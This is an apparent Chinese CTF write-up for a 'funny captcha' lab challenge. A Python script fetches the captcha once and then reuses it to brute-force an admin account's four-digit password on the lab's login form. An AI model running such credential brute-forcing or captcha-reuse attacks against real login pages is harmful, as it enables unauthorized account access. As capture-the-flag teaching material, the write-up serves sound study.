逗比验证码第一期

 题目:逗比验证码第一期

逗比的验证码,有没有难道不一样吗?

通关地址

import requests
import re
import matplotlib.pyplot as plt

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php'
login_url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'

s = requests.session()
res = bytes.decode(s.get(url).content)
pic_url = str(re.findall(r'', res)[0])
#print(pic_url)
with open('vcode.png', 'wb') as f:
    f.write(s.get(pic_url).content)
pic = plt.imread('vcode.png')
plt.imshow(pic)
plt.show()

code = input("please input vcode:")
for i in range(1000, 10000):
    data = {"username":"admin", "pwd":str(i), "vcode":str(code), "submit":"sbumit"}
    res = bytes.decode(s.post(login_url, data=data).content)
    print("test {}".format(i))
    print(res)
    if not "error" in res:
        print("passwd is {}".format(i))
        break

 

你可能感兴趣的:(CTF)